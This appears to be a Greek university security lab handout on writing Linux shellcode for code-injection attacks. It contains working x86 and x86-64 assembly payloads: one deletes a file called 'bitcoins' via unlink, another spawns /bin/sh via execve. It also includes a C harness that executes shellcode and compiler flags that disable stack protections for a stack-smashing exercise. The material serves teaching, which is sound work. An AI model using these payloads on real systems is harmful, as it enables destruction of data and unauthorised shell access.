ΕΠΛ326: Εργαστήριο 6
Προγραμματισμός shellcode

Εισαγωγή

Στο σημερινό εργαστήριο θα προγραμματίσετε shellcode. Θα κατασκευάσετε μικρά προγράμματα, τα οποία καλούν κλήσεις συστήματος (system calls) και μπορούν να ενσωματωθούν σε κακόβουλη είσοδο ώστε να πραγματοποιήσουν επιθέσεις code injection.

Εκτέλεση Εργαστηρίου

Βήμα 1

Δείτε πώς το system call exit λειτουργεί στο Linux. Ένας χρήσιμος σύνδεσμος: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Βήμα 2

Κατασκευάστε το shellcode για Intel/32-bit,

```
.section .data
.section .text
.globl _start

_start:
    xor  %eax, %eax
    inc  %eax
    mov  %eax, %ebx
    int  $0x80
```

και, κατόπιν, μεταγλωττίστε, συνδέστε (link) και εκτελέστε το πρόγραμμα.

```
$ as --32 exit-sh.s -o exit-sh.o
$ ld -m elf_i386 exit-sh.o -o exit-sh
$ ./exit-sh
$
```

Βήμα 3

Αποθηκεύστε το shellcode (φαίνεται παρακάτω με bold) και δοκιμάστε αν τρέχει σωστά.

```
$ objdump -d exit-sh.o

exit-sh.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0: 31 c0                xor    %eax,%eax
   2: 40                   inc    %eax
   3: 89 c3                mov    %eax,%ebx
   5: cd 80                int    $0x80
```

Ένας τρόπος για να το δοκιμάσετε είναι μέσα από ένα πρόγραμμα C.

```c

#include <stdio.h>

int main(int argc, char *argv[]) {
    char *shellcode ="\x31\xc0\x40\x89\xc3\xcd\x80";

    int (*fptr)() = (int (*)()) shellcode;

    fptr();

    fprintf(stderr, "Should not be printed\n");

    return 1;
}
```

Για τη μεταγλώττιση:

```
$ gcc -Wall -m32 -z execstack test-exit.c -o test-exist
```

Option	Meaning
`gcc`	GNU Compiler: Used to compile C programs.
`-Wall`	Enables **all compiler warnings**. Helps catch potential bugs or unsafe code.
`-m32`	Tells GCC to compile the program in **32-bit mode**, generating a 32-bit executable.
`-z execstack`	Marks the **stack as executable**, meaning code stored on the stack can be executed. This is usually disabled by default (for security reasons).
`run-shellcode.c`	The **C source file** you are compiling.
`-o run-shellcode`	Specifies the **output executable file name** (`run-shellcode`).

Βήμα 4

Υποθέστε ότι έχετε το πρόγραμμα των διαλέξεων stack-smash2_32.c και θέλετε να το αναγκάσετε να σβήσει ένα αρχείο που βρίσκεται στον ίδιο κατάλογο και ονομάζεται bitcoins. Πώς θα το κάνετε; Δοκιμάστε με το system call unlink.

NR	syscall name	references	%eax	arg0 (%ebx)	arg1 (%ecx)	arg2 (%edx)	arg3 (%esi)	arg4 (%edi)
0	restart_syscall	man/ cs/	0x00	-	-	-	-	-
1	exit	man/ cs/	0x01	int error_code	-	-	-	-
2	fork	man/ cs/	0x02	-	-	-	-	-
3	read	man/ cs/	0x03	unsigned int fd	char *buf	size_t count	-	-
4	write	man/ cs/	0x04	unsigned int fd	const char *buf	size_t count	-	-
5	open	man/ cs/	0x05	const char *filename	int flags	umode_t mode	-	-
6	close	man/ cs/	0x06	unsigned int fd	-	-	-	-
7	waitpid	man/ cs/	0x07	pid_t pid	int *stat_addr	int options	-	-
8	creat	man/ cs/	0x08	const char *pathname	umode_t mode	-	-	-
9	link	man/ cs/	0x09	const char *oldname	const char *newname	-	-	-
10	unlink	man/ cs/	0x0a	const char *pathname	-	-	-	-
11	execve	man/ cs/	0x0b	const char *filename	const char *const *argv	const char *const *envp	-	-

Solution

```
.section .data
.section .text
.globl _start

// s        n       i       o       c       t       i       b
// 0x73     0x6e    0x69    0x6f    0x63    0x74    0x69    0x62

_start:
    xor     %eax,%eax
    push    %eax
    push    $0x736e696f
    push    $0x63746962
    mov     %esp,%ebx
    mov     $0xb,%al
    dec     %al
    int     $0x80
    xor     %eax,%eax
    inc     %eax
    mov     %eax,%ebx
    int     $0x80
```

Βήμα 5

Δοκιμάστε το παρακάτω shellcode που εκτελεί ένα shell (/bin/sh), όταν το πρόγραμμα των διαλέξεων είναι μεταγλωττισμένο σε 64-bit.

NR	syscall name	references	%rax	arg0 (%rdi)	arg1 (%rsi)	arg2 (%rdx)	arg3 (%r10)	arg4 (%r8)	arg5 (%r9)
0	read	man/ cs/	0x00	unsigned int fd	char *buf	size_t count	-	-	-
1	write	man/ cs/	0x01	unsigned int fd	const char *buf	size_t count	-	-	-
2	open	man/ cs/	0x02	const char *filename	int flags	umode_t mode	-	-	-
3	close	man/ cs/	0x03	unsigned int fd	-	-	-	-	-
4	stat	man/ cs/	0x04	const char *filename	struct __old_kernel_stat *statbuf	-	-	-	-
59	execve	man/ cs/	0x3b	const char *filename	const char *const *argv	const char *const *envp	-	-	-

0x68732f2f6e69622f in hex = /bin//sh in ASCII:

Hex	Char
68	h
73	s
2f	/
2f	/
6e	n
69	i
62	b
2f	/

```
.section .data
.section .text
.globl _start

_start:
    xor     %rax,%rax                   # Zero %rax for null termination
                                        # of the "/bin/sh" string.
    pushq   %rax                        # Push \0.
    mov     $0x68732f2f6e69622f, %r9    # /bin//sh
    pushq   %r9                         # There is no push that works
                                        # with immediate values in
                                        # x86-64; we use %r9.
    mov     %rsp,%rdi                   # Now the %rdi (1st parameter)
                                        # points to /bin/sh.
    xor     %rsi,%rsi                   # 2nd parameter.
    xor     %rdx,%rdx                   # 3rd parameter.
    mov     $0x3b,%al                   # 0x3b (59 in dec) is execve().
    syscall
```

Τα system calls για Linux/x86-64.

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit

Μεταγλωττίστε το shellcode:

```
$ as shellcode.s -o shellcode.o
$ ld shellcode.o -o shellcode
```

Δοκιμάστε το run-shellcode.c σε 64-bit με το νέο shellcode. Για να μεταγλωττίσετε το run-shellcode.c σε 64-bit:

```
$ gcc -Wall -z execstack run-shellcode.c -o run-shellcode
```

Βήμα 6

Δοκιμάστε να ανοίξετε ένα shell όταν ο πρόγραμμα των διαλέξεων είναι μεταγλωττισμένο σε 64-bit.

Για να μεταγλωττίσετε το πρόγραμμα των διαλέξεων σε 64-bit:

```
$ gcc -Wall -z execstack -fno-stack-protector -fno-pic -no-pie stack-smash2.c -o stack-smash2
```